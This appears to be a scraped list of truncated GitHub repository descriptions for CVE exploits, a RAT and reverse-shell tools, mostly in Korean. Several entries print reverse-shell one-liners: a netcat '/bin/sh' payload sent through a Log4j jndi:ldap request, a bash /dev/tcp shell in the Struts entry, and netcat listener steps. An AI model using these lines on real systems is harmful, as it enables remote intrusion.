CVE-2017-16995

CVE-2017-16995 Ubuntu 16.04.01 - Linux 4.4.0-31-generic 50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x8664에서 테스트됨 이 취약점은 일반 사용자가 권한 상승을 통해 루트 셸을 획득할 수 있게 합니다. 커널이 다른 경우 CRED 오프셋을 조정하고 커널 스택 크기를 확인하십시오...

GeoServer-Tools-CVE-2024-36401

GeoServer-Tools-CVE-2024-36401 CVE-2024-36401 그래픽 기반 익스플로잇 도구로, 다양한 JDK 버전에서의 익스플로잇, 에코回显 및 메모리 셸内存马 구현을 지원합니다. 영향 버전: GeoServer 2.23.6 2.24.0 = GeoServer 2.24.4 2.25.0 = GeoServer 2.25.2 최근 HW에서 이 취약점이 여전히 흔하게 발견되고 있지만, 쓰기 편한 도구가 없어서 https://github.com/whitebear-ch/GeoServerExploit 의 접근 방식을 참고하여...

MoodleExploit

Moodle 익스플로잇 익스플로잇 제목: Moodle v3.4.1 RCE 익스플로잇 Google Dork: inurl:"/course/jumpto.php?jump=" 날짜: 2019년 3월 15일 익스플로잇 작성자: Darryn Ten 공급업체 홈페이지: https://moodle.org 소프트웨어 링크: https://github.com/moodle/moodle/archive/v3.4.1.zip 버전: 3.4.1 아마도 3.5.0, 심지어 3.x일 수도 있음 테스트 환경: Linux with Moodle v3.4.1 CVE ...

Eden-RAT

Eden-RAT 배경 EgoDrop와 DuplexSpy를 개발하면서 C 기반 GUI 애플리케이션 내에서 대화형 셸을 성공적으로 구현했습니다. 그때 당시 개발 경험이 부족해서 중단했던 초기 프로젝트 중 하나가 떠올랐습니다. 그래서 다시 살펴보고 완성하기로 했습니다. 이 프로젝트의 아이디어는 웹 침투 테스트를 공부하던 중에 떠올랐습니다. RCE원격 코드/명령 실행 취약점을 발견하면 보통 간단한 Linux 명령어id, whoami, ls, cat /etc/passwd로 시연하고 그걸로 끝인 경우가 많습니다. 하지만 그 이후의 추가...

cve-2023-42115

CVE-2023-42115: 익스플로잇 및 페이로드 생성 스크립트 이 저장소에는 두 개의 Python 스크립트가 포함되어 있습니다: 1. exploit.py : CVE-2023-42115를 익스플로잇하는 스크립트. 2. generatepayload.py : 리버스 셸 페이로드를 생성하는 스크립트. 사전 요구 사항 스크립트를 실행하기 전에 시스템에 Python 3가 설치되어 있는지 확인하십시오. 설치 1. 저장소 복제 : git clone https://github.com/isotaka134/cve-2023-42115.git c...

CVE-2024-51567

CVE-2024-51567 익스플로잇 스크립트 CVE-2024-51567 은 CyberPanel v2.3.6에 영향을 미치는 심각한 명령 삽입 취약점인 CVE-2024-51567 에 대한 Python 개념 증명PoC 익스플로잇 스크립트입니다. 이 취약점은 upgrademysqlstatus 엔드포인트에서 발견되었으며, CSRF 보호를 우회하고 특정 매개변수에서 셸 메타 문자를 사용하여 원격 명령 실행RCE을 가능하게 합니다. ⚠️ 중요 고지 : 이 스크립트는 교육 목적과 귀하가 소유하거나 테스트할 명시적 권한이 있는 시스템에 대한...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Base64로 변환 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= 페이로드 curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 개념 증명 Log4j PoC 팔로우 Youtube Twitter...

staystaystay

staystaystay staystaystay는 CVE-2021-1585에 대한 개념 증명 익스플로잇입니다. 이는 Cisco ASA Device ManagerASDM에 영향을 미치는 중간자 공격 또는 악의적 엔드포인트 RCE 문제입니다. 이 문제는 원래 Malcolm Lashley에 의해 발견되어 2021년 여름에 공개되었습니다. 하지만 제가 조사할 당시 최신 버전ASDM 7.171에서 패치되지 않았으며, 저는 이 문제를 독립적으로 발견했습니다. Cisco는 ASDM 7.181.152에서 이를 "수정"했습니다. 제가 "수정"이...

awesome_windows_logical_bugs

awesomewindowslogicalbugs 이 저장소는 Windows 논리적 권한 상승 버그에 대해 배우고 싶은 사람들을 위해 만들었습니다. 또한 제가 발견한 몇 가지도 추가했습니다. 제가 놓친 좋은 기사를 추가하려면 @404death로 연락해 주세요. 작업 진행 중WIP, 새 버그가 공개될 때마다 이 저장소를 계속 업데이트합니다. 권한 상승 취약점 및 기타 연구: Windows 논리적 EoP 버그 SYSTEM 셸로 이어지는 권한 있는 파일 작업 버그 기법: 임의 디렉터리 삭제로 SYSTEM 셸 얻기 임의 파일 생성/쓰기로...

oversight

Oversight v0.5.8 Oversight는 셸 스크립트와 명령어가 시스템에 적용되기 전에 감사하도록 설계된 터미널 기반 보안 인텔리전스 도구입니다. Raw URL을 통해 로컬 파일과 원격 스크립트 모두를 고속 대화형으로 분석함으로써 '맹목적 신뢰'와 '수동 감사' 사이의 간극을 메웁니다. Oversight 실시간 AUR 업데이트 스크린샷 1 스크린샷 2 미션 대부분의 시스템 침해는 검증되지 않은 패키지 업그레이드를 실행하거나 원시 설정 스크립트를 실행하는 것과 같은 맹목적 신뢰 때문에 발생합니다. Oversight는 이...

CVE-2024-5084-Red-Team

🚀 HashForm Exploit – Lab Demo 이 저장소는 Hash Form WordPress 플러그인에서 발견된 취약점인 CVE-2024-5084에 대한 개념 증명 익스플로잇을 포함하고 있습니다. 오직 학습, 실험실 테스트 및 보안 연구 목적으로만 사용됩니다. 📌 취약점 정보 CVE ID: CVE-2024-5084 문제: 인증되지 않은 파일 업로드 → 원격 코드 실행 플러그인: Hash Form – Drag & Drop Form Builder ≤ 1.1.0 영향: 공격자가 악성 파일을 업로드하고 시스템 명령을 실행할 ...

keimpx

소개 keimpx는 Apache License 2.0 하에 배포되는 오픈소스 도구입니다. SMB를 통해 네트워크에서 유효한 자격 증명을 빠르게 확인하는 데 사용할 수 있습니다. 자격 증명은 다음과 같습니다: 사용자 / 평문 비밀번호 조합. 사용자 / NTLM 해시 조합. 사용자 / NTLM 로그온 세션 토큰 조합. 공격 단계 후 네트워크에서 유효한 자격 증명이 발견되면 사용자는 연결할 호스트와 사용할 유효한 자격 증명을 선택하라는 메시지를 받습니다. 그러면 대화형 SMB 셸 이 제공되며, 여기서 사용자는: 대화형 명령 프롬프트...

keimpx

Introduction keimpx is an open source tool, released under the Apache License 2.0. It can be used to quickly check for valid credentials across a network over SMB. Credentials can be: Combination of user / plain-text password. Combination of user / NTLM hash. Combination of user / NTLM logon...

CVE-2018-11776

CVE-2018-11776 CVE-2018-11776 / S2-057 환경 데모 서버 실행 $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 익스플로잇 $ nc -l 10000 or nc -lp 10000 $ python3 exploit.py localhost:30080 'bash -i & /dev/tcp/192.168.33.1/10000 0&1'...

faxhell

faxhell "Fax Shell" Fax サービスと Ualapi.dll に基づく DLL ハイジャックを使用した Proof-of-Concept のバインドシェル。 詳細は次の記事をご覧ください: https://windows-internals.com/faxing-your-way-to-system/ How to use Ualapi.dll をビルドし、c:\windows\system32 に配置します。 Fax サービスを起動すると、DLL が読み込まれ、エクスポート UalStart が呼び出されます。UalStart...

CVE-2020-15227

CVE-2020-15227 면책조항! 나는 이 도구가 실제 환경에서 사용될 경우 아무런 책임도 지지 않으니 절대 하지 마세요. 이건 단지 데모용이고 시스템 관리자들이 테스트할 용도로 만들어진 것입니다. David Grudl Nette 재단의 창립자의 CVE 공개에 따라 이 익스플로잇을 제작했습니다. 그는 문제를 상당히 빠르게 해결하지 않았고, 보안 담당자들에게 가능한 침해를 검사할 수 있는 문서공격 방법를 제공하지 않았으며, 이를 은폐했습니다. 자, 이제 시작합니다. 보안 연구자로서 저는 물론 교육 및 시연 목적으로 작은 괴물...

Chamilo-CVE-2023-4220-Exploit

Chamilo-LMS-CVE-2023-4220-Exploit 이것은 Chamilo-LMS의 대용량 파일 업로드 기능에서 발생하는 무제한 파일 업로드 취약점에 대한 익스플로잇입니다. 해당 취약점 위치는 /main/inc/lib/javascript/bigupload/inc/bigUpload.php이며, Chamilo LMS = v1.11.24에 영향을 줍니다. 공격자는 웹 셸을 업로드하여 원격 코드 실행 권한을 획득할 수 있으며, 이후 임의의 파일을 /main/inc/lib/javascript/bigupload/files 디렉터리...

Modified-CVE-2015-3306-Exploit

수정된 CVE-2015-3306 익스플로잇 사용 방법 1. PHP 리버스 셸을 생성합니다. 2. 셸을 호스팅할 서버를 같은 디렉터리에서 시작합니다 python3 -m http.server 3. 원하는 로컬 포트에서 netcat 리스너를 시작합니다. 예: nc -nlvp port of choice 4. 아래 제공된 익스플로잇 예제를 실행합니다 python3 modifiedCVE20153306.py --host remote host --port most likely port 21 --path /var/www or...

Girsh

Girsh Golang 인터랙티브 리버스 쉘 누가 리버스 쉘을 완전한 인터랙티브 리버스 쉘tty 스폰, stty size ..., stty raw -echo로 업그레이드하기 위해 몇 줄을 수동으로 입력하거나 ConPTY를 사용하는 명령을 입력하는 데 지루함을 느끼지 않았을까요? 설명 Girsh를 실행하기만 하면 OS를 감지하여 완전한 인터랙티브 리버스 쉘로 업그레이드하기 위한 올바른 명령을 실행합니다. Linux의 경우: 터미널 크기 가져오기 python2.7, python3 및 python을 사용하여 tty 스폰 터미널을 r...

CVE-2025-24893-PoC

CVE-2025-24893 - XWiki 원격 코드 실행 RCE CVE-2025-24893 에 대한 업데이트된 개념 증명PoC 익스플로잇입니다. XWiki의 인증되지 않은 치명적인 RCE 취약점입니다. 이 버전은 임의의 셸 명령 실행과 깔끔한 리버스 셸 주입을 가능하게 하여 원본을 개선했습니다. 작성자: HexHunter404 ⚠️ 경고 이 코드는 교육 및 허가된 침투 테스트 목적으로만 제공됩니다. 소유하지 않거나 명시적인 테스트 권한이 없는 시스템에서는 사용하지 마십시오. ✨ 기능 bash -c ''를 통한 명령 실행 지원...